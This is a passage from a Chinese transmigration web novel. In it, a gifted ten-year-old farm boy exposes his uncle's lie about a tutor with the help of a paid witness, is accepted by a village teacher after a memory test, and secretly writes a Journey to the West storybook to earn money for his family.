这些念头在陆明渊的脑海中如电光石火般闪过,将所有零碎的线索串联成了一条清晰的脉络。 只是,这终究是他的猜测。 他没有证据。 在这个以孝悌为天理的家里,没有证据的质疑,只会被当成是小辈的嫉妒与恶毒,会让他和母亲的处境雪上加霜。 他看了一眼身旁双目失神、如坠冰窟的母亲,又看了一眼那仿佛瞬间苍老了十岁的父亲。 他知道,他不能再沉默。 但反抗,需要用对方法。 硬碰硬,是鸡蛋撞石头。 他需要一把能砸开石头的锤子。 而这把锤子,就在县城里。 他必须去一趟。 不为别的,至少要去青松书院问一问,昨日,他的好二叔,是不是真的去“拜会”过陈夫子。 只要能找到一丝破绽,一个证人,他就能将二叔精心编织的这张大网,撕开一道口子。 夜深了,陆家的院子里,除了几声虫鸣,万籁俱寂。 二房的屋里,隐隐传来压抑不住的笑声。 而大房的屋里,只有沉默和王氏低低的啜泣。 陆明渊躺在冰冷的土炕上,睁着眼,望着头顶漆黑的房梁。 那十五两银子,像一座大山,压得这个家喘不过气来。 但他心中,却没有半分绝望。 反而有一簇火苗,在黑暗中,悄然点燃。 天亮之后,他要去县城。 看看二伯一家,是不是真的隐藏了什么见不得人的事儿! 隔壁的房间,油灯还未熄。 母亲压抑的哭声,如同被揉碎的棉絮,丝丝缕缕地钻了过来。 “他爹……你怎么就应了啊……你怎么就那么软……” 王氏的声音带着哭腔,是那种耗尽了所有力气后的绝望。 “那是明渊的命根子!明文是读书种子,难道咱们明渊就不是?” “你可别忘了,明渊一天就背完了孟子,这钱给了他们,往后明渊怎么办?拿什么去读书?” 陆从文叹息医生,无奈道:“孩儿他娘,你小声点。娘都拍了板了,我能怎么办?我是老大,我不带头,这个家就散了。” 他顿了顿,声音更低了些,仿佛在说服自己。 “再说了,老二也当着娘的面立了誓,等明文出息了,过两年明渊要去府学,他们家砸锅卖铁也一定全力帮衬。” “先……先紧着明文吧,毕竟,他就差这一步了。” “一步?他的那一步,就要踩在我们明渊的骨头上吗?” 第016章 去府学的事儿,回头再说 王氏的哭声里,陡然生出一股尖锐的恨意。 陆明渊躺在冰冷的土炕上,静静地听着。 穷,才是原罪。 若家有余钱,何至于为区区十几两银子,就上演这般戏码? 若父亲有安身立命的本事,又何至于被“孝道”和“长兄”的虚名压得直不起腰? 说到底,还是因为没钱。 他的脑海中,不受控制地浮现出一些光怪陆离的念头。 比如用草木灰和猪油,制出比皂角好用百倍的胰子。 比如将那些后世耳熟能详的故事写成话本,卖给城里的说书人。 再比如…… 念头纷至沓来。 但陆明渊很快将这些想法一一摁了下去。 这些都是后话,眼前要面对的,却是一头已经闯进家门的恶犬。 当务之急,是去县城。 他要戳破二叔的谎言。 …… 次日清晨,天刚蒙蒙亮。 陆从文便背上了一个半旧的包袱,里面是王氏熬了好几个通宵赶制出来的几方绣帕。 他要去县里碰碰运气,看能不能卖个好价钱,贴补家用。 “爹,我跟你一起去。” 陆明渊从屋里走出来,眼神清亮,看不出半点熬夜的痕迹。 陆从文一愣,看着儿子尚显稚嫩的脸,有些心疼,但终究还是点了点头。 去县城的路是黄土夯实的,车马走得多了,路面坑坑洼洼。 …… 到了县城,市井的喧嚣扑面而来。 陆从文找了个相熟的布庄,将包袱递了进去。 自己蹲在门口的石阶上,掏出干硬的麦饼,就着水囊里的凉水,默默地啃着。 “爹,我去那边买个糖葫芦,马上回来。” 陆明渊指着不远处一个扛着草靶子的小贩,对父亲说道。 陆从文没多想,只当是孩子嘴馋,从怀里摸索了半天,掏出三文钱递给他。 “快去快回,别乱跑。” 陆明渊接过铜钱,转身便汇入了人流。 但他去的方向,却并非是那卖糖葫芦的小贩,而是一路打听,径直朝着城西的青松书院走去。 青松书院门口有两棵上了年头的老松,显得颇为气派。 一个身穿褐色短衫的门房,正靠在门柱上打盹。 陆明渊走上前,从自己贴身的口袋里摸出了一把铜钱,足有两百文,这是他积攒了两年的压岁钱。 他没有说话,只是将那沉甸甸的铜钱,轻轻放在了门房面前的石墩上。 “哗啦”一声轻响,惊醒了门房的瞌睡。 他睁开惺忪的睡眼,看到那堆铜钱,眼神瞬间清明了许多。 他上下打量着陆明渊,一个衣着普通的孩童。 “小哥儿,有事?” “大叔,向您打听个事儿。” 陆明渊的声音很平静。 “昨天下午,是不是有个叫陆从智的人来过这里?” 门房的眼珠子转了转,昨日的印象很深。 那人出手阔绰,塞给他的赏钱,比眼前这堆还要多上不少。 “是有这么回事。” 他不动声色地将石墩上的铜钱扫进自己的袖袋。 “说是来拜会陈夫子的,还拎着两尾肥鱼,一小坛酒。在里面待了快半个时辰才出来。” 陆明渊的心彻底沉了下去,但面上依旧平静如水。 果然如此。 二叔不仅来了,还带了重礼。 这哪里是“顺道拜访”,分明是早有预谋的收买。 他看着门房,又从口袋里摸出一百文钱,放在石墩上。 “大叔,想再请您帮个忙。” “哦?”门房来了兴趣。 “我们家就在城外十里的陆家村,我想请您跟我回去一趟,当着我家里长辈的面,把您刚才说的话,再说一遍。” “书院今日不是休沐吗?您闲着也是闲着,来回不过两个时辰,耽误不了您多少工夫。” 一百文,只为跑个腿,说句话。 这买卖划算。 门房略一思忖,便点头应下。 “成,左右无事,就跟你走一趟。” 当陆明渊带着门房回到布庄门口时,陆从文的绣帕还没卖出去,正满脸愁容地蹲在那里。 看到儿子身后跟了个陌生的成年人,他疑惑地站起身。 “明渊,这位是?” “爹,回去再说。” 陆明渊没有解释。 陆从文看着儿子,忽然觉得有些陌生。 但他还是选择相信自己的儿子,领着二人,沉默地往陆家村走去。 一回到家,陆明渊没去自家屋子,而是直接带着门房,闯进了老太太陈氏所在的堂屋。 彼时,老太太正和二房一家说着话,陆明文站在一旁,脸上是藏不住的得意与憧憬。 堂屋里的气氛,与大房的愁云惨淡,判若云泥。 “奶奶!” 陆明渊的声音清脆,打破了屋内的其乐融融。 所有人的目光都集中了过来,带着惊讶与不解。 陆明渊不理会旁人,径直走到老太太面前,将身后的门房往前一推。 “奶,这位是青松书院的门房大叔。孙儿有几句话,想问问二叔。” 他转过头,目光如利剑一般,直刺陆从智。 “二叔,你昨天跟我们说,是陈夫子下乡采风,‘顺道’来了我们家,夸赞明文堂兄有秀才之姿,对吗?” 陆从智心里“咯噔”一下,看着那门房,脸色微变,但还是强自镇定道:“是又如何?” “可这位大叔说,你昨天下午,拎着鱼和酒,亲自去了书院,在里面待了半个时辰。书院里不少人都看见了,不知二叔去书院,所为何事?” 此言一出,满室皆静。 陆从智的脸,瞬间涨成了猪肝色。 老太太的笑容僵在脸上,握着拐杖的手,青筋毕露。 门房适时地躬了躬身,对着老太太道:“老太太,这小哥儿说的没错。昨日午后,这位爷确实去了书院,还给陈夫子带了礼。我们书院好些人都瞧见了,做不得假。” 证据确凿,人证在此。 老太太的脸色阴沉得能滴出水来。 她不是傻子,前后一联系,哪里还不明白发生了什么。 她被自己的亲儿子,当猴耍了! 一股怒火直冲天灵盖,但看着跪在一旁,脸色煞白的陆从智和陆明文,那火气又硬生生被她压了下去。 家丑不可外扬。 这件事若是闹大了,丢的是整个陆家的脸。 明文的前程,也会蒙上阴影。 她深吸一口气,浑浊的老眼里闪过一丝决断。 她用拐杖重重一顿地,发出的闷响让所有人都心头一颤。 “行了!” 她没有去看陆从智,而是将目光投向了陆从文和陆明渊。 “这件事,到此为止。谁也不许再提!” “明文去高家府学的事儿,回头再论!” 第017章 必须赚钱! “明文去高家府学的事儿,回头再论!” 老太太的声音像是从齿缝里挤出来的,房间内没有回响,只有一片死寂。 那从县城书院请来的门房,是个有眼力见的,早已躬着身子,悄无声息地退了出去。 陆从智和赵氏夫妇,一个面如死灰,一个嘴唇哆嗦,跪在地上。 陆明文更是浑身瘫软,那张尚显稚嫩的脸上,只剩下无地自容的羞惭。 陆从文站在一旁,看着自己的弟弟弟媳,嘴唇动了动,终究没能说出半个字。 他心里五味杂陈,有种说不出的憋闷。 老太太陈氏的视线,缓缓地从跪在地上的二儿子一家身上移开。 她的目光落在了陆明渊身上。 她忽然意识到,自己,乃至整个陆家,似乎都看走了眼。 他们将所有的希望和资源都倾注在那个会说漂亮话、看着机灵的陆明文身上。 忽略了这个沉默寡言,却将一切都看在眼里的长孙。 今日之事,若非明渊,她这个老太婆,就要被亲儿子当成傻子一般。 不仅她要蒙在鼓里,还要搭上大房十几两的血汗钱,去成全一个谎言。 想到这里,一股后怕与庆幸交织的情绪涌上心头。 她握着拐杖的手紧了紧,看着陆明渊,声音竟是前所未有的温和。 “明渊,你过来。” 陆明渊依言走上前。 “陈夫子那里,咱们不去了。” 老太太看着他,一字一句地说道。 “心术不正,教不出好学生。奶奶做主,也送你去县里读书,找个比青松书院更好的私塾!” 说到这里,她顿了顿,像是下定了什么决心,眼中闪过一丝狠厉的光。 “不!要去就去最好的!直接去府学!” “我这张老脸,豁出去了!就算是砸锅卖铁,也要供你进府学读书!” “我去宗祠借钱!” 这话一出,满堂皆惊。 陆从文和王氏更是激动得浑身颤抖,王氏的眼泪瞬间就涌了出来,捂着嘴,生怕自己哭出声来。 然而,出乎所有人意料,陆明渊却摇了摇头。 他对着老太太,恭恭敬敬地行了一礼,声音清朗而坚定。 “奶奶,孙儿心领您的厚爱。但孙儿以为,现在还不是去府学的最好时机。” “为何?” 老太太不解,去府学的机会难得,让陆从智想出了欺骗她这个老太太的法子也要去! 陆明渊居然不想去? “万丈高楼平地起。” 陆明渊不疾不徐地说道。 “孙儿这几年虽跟着村里的赵先生认了些字,背了些书,但根基尚浅。” “府学的先生皆是饱学之士,甚至不乏举人老爷。” “若孙儿就这般冒然前去,先生随口一问,我却一问三不知,岂不是丢了我们陆家的脸?” “更会给先生留下一个根基不牢、好高骛远的坏印象,往后想要弥补,难如登天。” 他的话语条理清晰,目光澄澈,完全不像一个十岁的孩子,倒像一个深思熟虑的成年人。 “孙儿想,读书不争朝夕,根基最为重要。” “我想先跟着村里的赵先生,将《三字经》、《百家姓》、《千字文》这些蒙学经典彻底吃透。” “再读通《论语》、《孟子》。如此,最多不过一年半载,待根基扎实了,再去府学拜师,方是正途。” 他抬起头,继续道:“而且,孙儿在家中,只要有书可看,便能时时向赵先生请教,与在县里读书,并无太大分别。” “这样,也能为家里省下一大笔开销。” 堂屋里,静得能听见窗外微风拂过树叶的沙沙声。 所有人都被陆明渊这一番话说得愣住了。 不骄不躁,不贪不慕,目光长远,心思缜密,还时时为家里着想。 ……这……这真是一个十岁孩子能说出的话,能有的见识? 老太太陈氏怔怔地看着自己的长孙,浑浊的老眼里,渐渐泛起了一层水光。 她以为自己已经足够高看这个孩子了,却发现还是远远不够。 这哪里是寻常的懂事,这分明是天生的麒麟之才! 她颤抖着伸出手,想要去摸一摸陆明渊的头,手伸到一半,却又觉得不妥。 仿佛眼前站着的不是一个稚童,而是一个足以让她平等视之的家族栋梁。 “好……好……好啊!” 老太太连说三个“好”字,声音里带着压抑不住的激动与哽咽。 她猛地用拐杖一顿地,对着满屋子的人,大声宣布道: “听见没有!都听见没有!这才是我们陆家该有的子孙!” “沉得住气,看得够远!我告诉你们,我们陆家,这是要出一位麒麟儿了!” 她的目光扫过面如土色的二房一家,话语里的敲打意味不言而喻。 陆从文和王氏夫妇,早已是热泪盈眶。 …… 风波暂息,陆明渊回到了自己那间狭小而简陋的屋子。 窗外,日头已经偏西,橘黄色的光线透过窗纸,在土墙上投下一片斑驳的光影。 他坐在炕沿上,静静地回想着今日发生的一切。 从用二百文钱敲开门房的嘴,到当众揭穿二叔的谎言,再到拒绝奶奶去府学的提议。 每一步,都在他的计算之内。 他成功地将自己从一个被牺牲的边缘角色,拉回了舞台的中央,甚至赢得了老太太的另眼相看。 但这,还远远不够。 家族的认可,奶奶的偏爱,都建立在虚无缥缈的“期望”之上。 一旦他表现得不尽如人意,这一切随时都可能烟消云散。 说到底,还是那个字——穷。 穷,让家人之间为了十几两银子反目。 穷,让父亲挺不起腰杆。 穷,让他连买几本想读的书,都要思量再三。 必须赚钱! 他想起了去县城时,在街角看到的那一幕。 一个说书先生的摊子前,围满了听众,生意竟是相当不错。 一个念头,如同被点燃的引线,在他的脑海中轰然炸开。 写话本! 在这个娱乐匮乏的时代,一个好的故事,其价值不亚于金银。而他的脑子里,装着一个世界的璀璨文明。 写什么? 《三国》太过厚重,权谋太深,不适合作为开篇。 《水浒》杀伐气太重,容易惹上麻烦。 他的目光,最终定格在了一个充满了神佛妖魔,想象力天马行空的瑰丽世界上。 西游记! 这个世界,还没有孙悟空,没有猪八戒,没有那西行路上的九九八十一难。 他不仅能写出文字,还能凭借后世的记忆,画出那些生动有趣的插图。 图文并茂,在这个时代,绝对是降维打击。 想到就做,这是陆明渊的行事准则。 他从自己那小小的木箱里,翻出了积攒下来的几张麻纸。 纸质粗糙泛黄,是最便宜的那种,用来练字都嫌费墨。但现在,也顾不得那么多了。 他将墨块放在砚台里,滴上几滴清水,开始缓缓地研磨。 墨香清冷,在空气中弥漫开来,让他的心神愈发宁静。 故事的开头,他早已烂熟于心。 但如何才能在第一时间抓住所有人的眼球,一炮而红? 他需要一个噱头。一个石破天惊,足以让所有人都好奇不已的噱头。 他的嘴角,勾起一抹浅浅的弧度。 他没有先写正文,而是在一张麻纸的最上方,用一种刻意显得有些夸张和急促的字体,写下了一行大字。 《震惊:天蓬元帅因调戏仙宫公主,竟被贬下凡尘,错投猪胎?》 第018章 这是束脩,不成敬意 写完,他满意地端详着这行字。 充满了后世新闻标题的精髓,简单,粗暴,直击人心。 在这个还不懂得营销的时代,这样的标题,显然能吸引所有人的眼球! 收敛心神,他换了一张纸,笔锋一转,变得沉稳而古朴。 “混沌未分天地乱,茫茫渺渺无人见。自从盘古破鸿蒙,开辟从兹清浊辨……” …… 油灯里的灯油燃到了尽头,灯芯在最后的挣扎中爆出一朵小小的火花,然后不甘地熄灭。 屋内,重归于一片浓得化不开的墨色黑暗。 陆明渊放下手中的粗豪笔,轻轻活动了一下酸胀的手腕。 窗外,天际已泛起一丝鱼肚白,几声零落的鸡鸣,划破了陆家村黎明前的宁静。 一夜未眠,一万余字。 精神上的亢奋,让他几乎感觉不到身体的疲惫,穿越而来的强大精神力,支撑着这具年幼的躯壳。 他只在炕上合了两个时辰的眼,脑海中纷乱的思绪便如同退潮般平复,再次睁眼时,已是神清气爽。 院子里传来极轻微的响动。 陆明渊推开房门,只见老太太陈氏已经穿戴整齐。 她在院中的老槐树下,手里提着一个用绳子捆了脚的咯咯哒的老母鸡。 看到陆明渊出来,老太太浑浊的眼睛里亮起一抹光,她没有多言,只是招了招手,声音压得极低。 “明渊,走。” 陆明渊点了点头,跟在奶奶身后。 老太太的步子不快,手中的拐杖在青石板路上,敲出“笃、笃”的清脆声响。 村东头的赵先生家,门前栽着两棵柳树,枝条在晨风中轻轻摇曳,平添了几分书卷气。 两人到时,天光尚早,门扉紧闭。 老太太没有去敲门,只是将那只还在扑腾的老母鸡放在脚边。 她理了理衣襟,带着陆明渊静静地站在门口。 约莫过了半个时辰,天色大亮,门内终于传来了动静。 一个睡眼惺忪的小童拉开门栓,看到门外的一老一少,愣了一下,随即认出了陈氏,揉着眼睛问道。 “陈奶奶,您这么早……” 老太太脸上挤出一丝和善的笑,将怀里揣着的一个布包递过去,里面是五百文铜钱,沉甸甸的。 “劳烦通报一声,陆家老婆子,带长孙明渊,求见先生。” 小童通报过后,很快便折返回来,躬身道:“先生请二位进去。” 赵先生的家不大,却收拾得极为干净。 院里晒着几卷书,空气中弥漫着一股淡淡的墨香与草药混合的气息。 客厅里,一位身着半旧儒衫的中年男子正端坐着,面容清癯,眼神温和中带着一丝审视。 他便是赵先生,早年也曾有过功名,只是时运不济,最终归隐田园。 “老太太请坐。” 赵先生起身相迎,目光却落在了陆明渊身上。 他打量着这个孩子,眉清目秀,身板却略显单薄,手上还有着常年干农活留下的薄茧。 他微微皱眉,开门见山地问道。 “这孩子……看着已经不小了。筋骨已成,常年劳作于田地,错过了开蒙的最好时机。为何现在,却又想起要读书了?” 他的话很直接,也很现实。 读书,尤其是科举之路,从来都是越早越好。 十岁的年纪,在县城里,许多孩子已经能作简单的文章了。 老太太陈氏闻言,神情顿时变得有些着急。 她“噗通”一声就要跪下,被赵先生眼疾手快地扶住。 “先生,先生您听我说!” 老太太的声音带着一丝颤抖,仿佛生怕错失了这次机会。 “我这孙儿,他……他不是凡人呐!他是天上的文曲星下凡,是我们陆家的麒麟子!” 她因为激动,脸颊泛起不正常的红晕,抓着赵先生的衣袖,急切地说道。 “您别看他年纪大,可他聪明!《孟子》那么厚的书,他一天!就一天就能背下来!” “先生,您一定要收下他,他将来,必定是有大出息的!” 赵先生听着这番话,先是一怔,随即脸上露出一丝无奈的轻笑。 他摇了摇头,温声道:“老太太,切莫如此玩笑。为人祖母,望孙成龙之心,我能理解。” 他见过太多这样的父母长辈,在他们眼里,自家的孩子总是天底下最聪明的。 所谓“一天背会《孟子》”,多半是老婆子爱孙心切的夸大之词。 但他看着陈氏那张写满恳求与希冀的苍老面容,心中终究是软了一下。 年事已高,天不亮便等在寒风里,这份诚意,足以打动任何人。 赵先生叹了口气,松开了扶着老太太的手,重新坐下,缓缓说道。 “也罢。念在老太太您一片爱孙之心,又在这门外苦等了半个时辰。我便应下此事。” 老太太的眼睛瞬间亮了。 “不过,” 赵先生话锋一转,神情变得严肃起来。 “我丑话说在前面。读书是苦差事,冬练三九,夏练三伏,非有大毅力者不能成。” “我愿意带他几日,看看他究竟是否吃得了这份苦。” “若是他自己不愿学,心猿意马,那便怪不得我了。” “我只负责教,至于能学到多少,全看他自己的造化。” “愿意!愿意!他肯定愿意!” 老太太激动得语无伦次,连忙拉着陆明渊的胳膊,让他跪下。 “快!明渊,快给先生磕头!” 陆明渊没有丝毫犹豫,对着赵先生,恭恭敬敬地磕了三个响头。 动作干脆利落,没有半分拖泥带水。 赵先生看着他,眼中闪过一丝讶异。 这孩子从进门到现在,一直沉默不语。 既无寻常孩童的怯懦,也无被夸赞时的骄矜,沉稳得不像个十岁的少年。 “多谢先生!多谢先生!” 老太太连连弯腰感谢,眼眶已然湿润。她将那只老母鸡和装着五百文钱的布包郑重地放在桌上。 “这是束脩,不成敬意,还望先生不要嫌弃。” 她又转过头,拉着陆明渊的手,千叮咛万嘱咐。 “明渊,你就在这儿好好跟着先生读书,家里什么都不用你操心,你只管读,读出个名堂来,给咱们陆家争口气!” 说完,她再不迟疑,转身便走。 客厅里,只剩下赵先生和陆明渊两人。 赵先生看着这个新收的学生,指了指旁边的一张小几和蒲团,淡淡道。 “坐吧。把你识得的字,会背的书,都与我说说。” 第019章 学生,谨遵教诲 “回先生话,小子在家中曾随母亲识过一些字,也曾听过《三字经》、《百家姓》与《千字文》。” 赵先生闻言,眉梢微微一挑。 听过,与会背,是两码事。 乡间顽童,谁没听过几句“人之初,性本善”? 可真要一字不差地背下来,又是另一番光景。 他没有多言,起身从靠墙的书架上取下三本蒙学读物。 书页因常年翻动而泛黄卷边,带着一股陈旧的墨香。 “既然听过,想必温习起来也快。” 赵先生将三本书册在小几上摊开,分别是《三字经》、《百家姓》和《千字文》。 他指着书册,语气平淡地说道:“你便在这里看。什么时候觉得温习好了,便告诉我。我再来考教。若只是囫囵吞枣,知其一不知其二,我是不会收的。” 言下之意,便是给了陆明渊一个考验。 他倒要看看,这孩子是真有几分天资,还是如他祖母所言,只是爱孙心切的夸大之词。 “是,先生。” 陆明渊点了点头,没有丝毫异议。 赵先生见他应下,便不再管他,自顾自地走到院中,拿起一把旧扫帚,开始清扫昨夜被风吹落的槐树叶。 扫帚划过青石板,发出“沙沙”的声响。 客厅之内,陆明渊垂下眼帘,捧起那本《三字经》。 前世的他,这些蒙学经典自然是烂熟于心。 但时隔多年,又换了一具身体,许多记忆如同蒙尘的古镜,只剩下一个模糊的轮廓。 此刻书册在手,那些熟悉的文字映入眼帘,便如同一股清泉注入干涸的河道,瞬间唤醒了沉睡的记忆。 他看得极快,或者说,不是在看,而是在“印”。 那穿越而来的强大精神力,此刻尽数收敛于双目之间。 前世的理解与今生的记忆交织、融合、重构,原本有些模糊的段落,迅速变得清晰、通透。 “人之初,性本善。性相近,习相远……” “赵钱孙李,周吴郑王……” “天地玄黄,宇宙洪荒……” 窗外的天光,自鱼肚白渐渐转为明亮,将窗格的影子投在地面上,缓慢地移动着。 院子里的扫地声不知何时停了,取而代之的是赵先生搬了张竹椅坐在廊下,闭目养神的声音。 一个时辰,悄然而过。 当陆明渊将最后一页《千字文》看完,他缓缓合上书册。 那股高度集中的精神力如同潮水般退去,脑中却是一片清明。 他站起身,将三本书册整齐地叠好,走到客厅门口,对着廊下的赵先生躬身一礼。 “先生,小子温习完了。” 廊下,赵先生闭着的眼睛倏然睁开,眼中闪过一丝错愕,随即化为一抹不易察觉的微愠。 一个时辰? 他以为这孩子至少要看到日上三竿。 就算是将背过的东西温习一遍,也断没有这么快的道理。 这般行径,不是天资过人,便是心浮气躁,急于求成。 而他,更相信是后者。 “哦?” 赵先生的语气淡了几分,他缓缓起身,走回客厅,眼神里带着一丝审视。 “这么快?你确定都记下了?” “是。”陆明渊的回答只有一个字。 赵先生心中轻哼一声,也不多言,随手拿起最上面的《三字经》。 他没有从“人之初”开始考,那是任何一个听过几句的孩子都能接上的。 他信手一翻,翻到书册中间,手指点在一个段落上,冷不丁地问道:“‘曰春夏,曰秋冬。此四时,运不穷。’后面是何句?” “回先生,后面是‘曰南北,曰西东。此四方,应乎中’。”陆明渊不假思索,脱口而出。 赵先生一愣,这孩子反应好快。 他不动声色,又将书册翻到末尾,问道:“‘犬守夜,鸡司晨。苟不学,曷为人。’前一句为何?” “前一句是‘马牛羊,鸡犬豕。此六畜,人所饲’。”陆明渊依旧对答如流。 赵先生的呼吸,在这一刻微不可察地停顿了一下。 他脸上的那一丝轻慢与审视,如同被风吹散的薄雾,悄然无踪。 他抬起头,第一次真正意义上地,正视眼前这个年仅十岁的少年。 那双眼睛,黑白分明,沉静如古井,没有半点孩童应有的狡黠或得意。 赵先生的心,莫名地跳快了几分。 他压下心中的惊异,又拿起那本《百家姓》,随意挑了几个僻静的姓氏提问。 陆明渊依旧是张口就来,没有丝毫错漏。 最后,是那本最考验记忆的《千字文》。 “‘龙师火帝,鸟官人皇’,何解?续其后句。” 赵先生的声音,已经带上了一丝他自己都未曾察觉的郑重。 “回先生,此句言的是上古伏羲、神农、少昊、黄帝四位帝王。伏羲以龙纪官,神农以火纪官,少昊以鸟纪官,黄帝则以人皇治世。” 陆明渊先是解释了句意,而后才不疾不徐地续道:“始制文字,乃服衣裳。推位让国,有虞陶唐。” 话音落下,满室寂静。 赵先生手持书卷,怔怔地看着陆明渊,久久不语。 他脸上的表情,从最初的错愕,到中途的惊异,最终化为一种难以言喻的狂喜与激动。 那是一种老农看到绝世好苗,是良匠偶遇传世璞玉的眼神! 他知道了,他全都明白了。 这孩子,不是在撒谎,更不是心浮气躁。 要么,是他祖母所言非虚,这孩子当真有过目不忘之能,是个天生的读书种子! 要么,便是这孩子在无人知晓的夜里,将这些蒙学典籍早已背得滚瓜烂熟,其心性之坚韧,远超常人! 无论是哪一种,都足以证明,他赵某人,今日捡到宝了! “好……好!好一个‘始制文字,乃服衣裳’!” 赵先生一连说了三个“好”字,声音里带着一丝颤抖。 他将手中的书册“啪”的一声放在桌上。 看向陆明渊的目光,已经再无半分考较,而是充满了欣赏与满意。 他想起了陈氏那张布满风霜与恳求的脸,想起了那句“他是天上的文曲星下凡”。 或许,这乡野老妇的直觉,比他这读了半辈子书的人,还要准上三分。 赵先生深吸一口气,压下心头的激动,转身走到书架前。 这一次,他没有再拿那些蒙学读物,而是郑重地取出了另外几本线装书。 “这几本,《弟子规》、《增广贤文》、《太公家教》,你且带回去。” 他的声音温和了许多,带着一丝期许。 “不必急于求成,每日读上一篇,用心体会其中道理。明日此时,再带过来,我每日都会考教。” 他将书递给陆明渊,沉声道:“明渊,读书一道,识字是基,明理是本。你天资既高,便更不能懈怠。往后的路,还长得很。” 陆明渊接过那几本尚带着墨香的新书,入手微沉。 他知道,这几本书的分量,远不止于此。 “是,先生。” 他躬身一揖,郑重地应下。 “学生,谨遵教诲。” 第020章 卖话本一事 晨光已然大盛,将庭院中的槐树影子拉得斜长。 回到家中,那股熟悉的、混杂着泥土与炊烟的气息扑面而来。 与赵先生书房里的墨香不同,这是家的味道。 母亲王氏正在灶房里忙碌,听见脚步声,探出头来,脸上带着几分紧张与期盼。 “渊儿,如何?先生……可收下了?” “母亲放心,先生收下了。” 陆明渊将手中的书册扬了扬,脸上露出一抹恰到好处的、属于十岁孩童的欣喜。 “先生还另外赐了三本书,让我带回来看。” 王氏的眼睛瞬间就亮了。 她快步走出来,用围裙擦了擦手,小心翼翼地接过那几本崭新的线装书。 她看得极认真,手指轻轻抚过封皮上《弟子规》三个字,嘴里喃喃道。 “好,好……收下就好,收下就好……” 陆明渊将书从母亲手中接过,郑重地走进里屋,将其整齐地码放在土炕的炕头。 做完这一切,他转身出来,看到母亲正准备去院角的水缸里挑水,便快步上前。 抢着要去拎那对小了许多的木桶:“母亲,我来吧。” 王氏一怔,随即按住他的手,又心疼又好笑地将他推开。 “胡闹!你如今是读书人了,身子金贵,怎能做这些粗活?快回屋去,温习先生教的功课,莫要分心。” 她的语气不容置喙,眼神里却满是柔情与骄傲。 从这一刻起,儿子便不再是农家小子,是正儿八经的读书人。 她将陆明渊一路“赶”回了里屋,关上门,这才心满意足地转身。 自己拎起了那对水桶,脚步都比往日轻快了许多。 被“赶”回屋里的陆明渊,望着那扇简陋的木门,无奈地笑了笑。 他知道母亲的心思,那是将所有的希望都压在了他的身上。 他没有去看赵先生给的那几本书。 那些道理,他早已通透,此刻温习,不过是锦上添花,远没有另一件事来得紧迫。 他走到角落里的小木箱旁,从里面取出一沓粗糙的草纸。 又拿出母亲变卖嫁妆为他换来的、他一直舍不得用的那方小墨锭和一支秃了半边毛的旧笔。 磨墨,铺纸。 窗外的阳光透过木格窗,在他面前投下一片明亮的光斑。 陆明渊深吸一口气,提笔蘸墨。 他写的不是圣贤文章,而是一个故事。 一个后世烂熟于心,此刻却足以在这个娱乐匮乏的世界里掀起波澜的故事。 他需要钱。 读书,科举,每一步都是用钱堆出来的。 笔墨纸砚,束脩节礼,哪一样都离不开银子。 他不能再让母亲变卖那些嫁妆,也不能让父亲那本就压得极弯的脊梁,再多添一分重担。 他必须靠自己。 写话本,去县里书坊投稿,换取第一笔启动的资金。 这是他深思熟虑后,最快也最稳妥的一条路。 不知过了多久,房门被轻轻推开一条缝,一个小小的脑袋探了进来。 是弟弟陆明泽。 三岁的小家伙,手里抱着一大捧刚刚从山坡上摘来的野果。 紫红色的果浆沾了满手满脸,像一只偷吃得逞的小花猫。 他看到哥哥在写字,便蹑手蹑脚地走进来,乖巧地搬了个小凳子,坐在陆明渊旁边。 一边“吧唧吧唧”地吃着果子,一边安安静静地看着。 满屋的墨香里,多了一丝酸甜的果香。 陆明渊写得入神,并未察觉。 直到一根沾着紫色果肉的小手指,小心翼翼地递到了他的嘴边。 “哥……吃……” 陆明泽仰着小脸,黑葡萄似的大眼睛里满是分享的喜悦,献宝似的将一颗最饱满的野果递过来。 陆明渊从故事的世界里抽离出来,看着弟弟那张滑稽又可爱的花猫脸,心中一暖。 他低下头,张口将那颗野果含进嘴里,酸甜的汁水在舌尖炸开,驱散了长时间精神高度集中的疲惫。 “好吃。”他揉了揉弟弟的头。 陆明泽便嘿嘿地笑了起来,露出几颗小米牙,自己又塞了一颗进嘴里,吃得更香了。 院子里纳着鞋底的王氏听到屋内的动静,转过头来看。 她看着窗内,一个儿子奋笔疾书,身形挺拔如松;一个儿子乖巧陪伴,天真烂漫。 王氏的眼眶,毫无预兆地就红了。 一滴温热的泪,砸在她那双布满薄茧的手背上,瞬间浸入粗布的纹理。 她没有去擦,任由更多的泪水模糊了视线。 熬出头了,终于要熬出头了。 这些年的委屈,这些年的辛劳,在这一刻,仿佛都有了归宿。 她低下头,用袖子胡乱抹了把脸,心中却下了一个决定。 今晚起,她要熬夜,将那几匹最好的料子都绣出来。 她的绣工是顶好的,拿去县里,定能卖个好价钱。 渊儿如今是正经的读书人了,不能再用那支秃毛笔,得换一套上好的文房四宝才行! 一下午的时光,在笔尖的沙沙声与稚童的咀嚼声中悄然流逝。 当最后一缕夕阳的余晖从窗格上退去时,陆明渊停下了笔。 他吹干最后一页纸上的墨迹,将这厚厚一沓稿纸仔细整理好。 三万字,足够了。 他找来一块干净的旧布帛,将稿纸严严实实地包裹起来,准备明日就去县里。 晚饭时分,父亲陆从文扛着锄头从田里回来了。 一身的汗水与泥土,古铜色的脸膛上写满了疲惫。 但当他看到妻儿,看到桌上热气腾腾的饭菜时,那份疲惫便化作了满足的微笑。 一家人围着小方桌吃饭,气氛温馨而宁静。 饭过一半,陆明渊放下筷子,看着父亲,开口说道:“爹,我明天想去一趟县里。” 陆从文夹菜的动作顿住了,他愣了一下,看向儿子。 “去县里作甚?你刚拜了先生,该在家好生读书才是。” “正是因为拜了先生,才要去一趟。” 陆明渊神色平静,条理清晰地说道。 “先生考校我的功课,我答得尚可。” “只是孩儿觉得,所用笔墨纸砚太过粗劣,我想去县里书坊看看,顺便……也长长见识。” 他没有说实话。 卖话本一事,在没有见到银子之前,说出来只会让父母空担心。 听到笔墨纸砚太过粗,憨厚老实的陆从文心中一凛。 他不懂什么大道理,但却知道读书人的事,不能马虎。 他沉吟了片刻,看了一眼妻子王氏,见她也是一脸期盼,便重重地点了点头。 “好!那就去!正好,我把家里前些日子熏好的几条腊肉也带上,一并卖了,给你换些好笔墨!” 第021章 卖书 “好!那就去!正好,我把家里前些日子熏好的几条腊肉也带上,一并卖了,给你换些好笔墨!” 天色刚蒙蒙亮,东方天际只泛起一抹鱼肚白中。 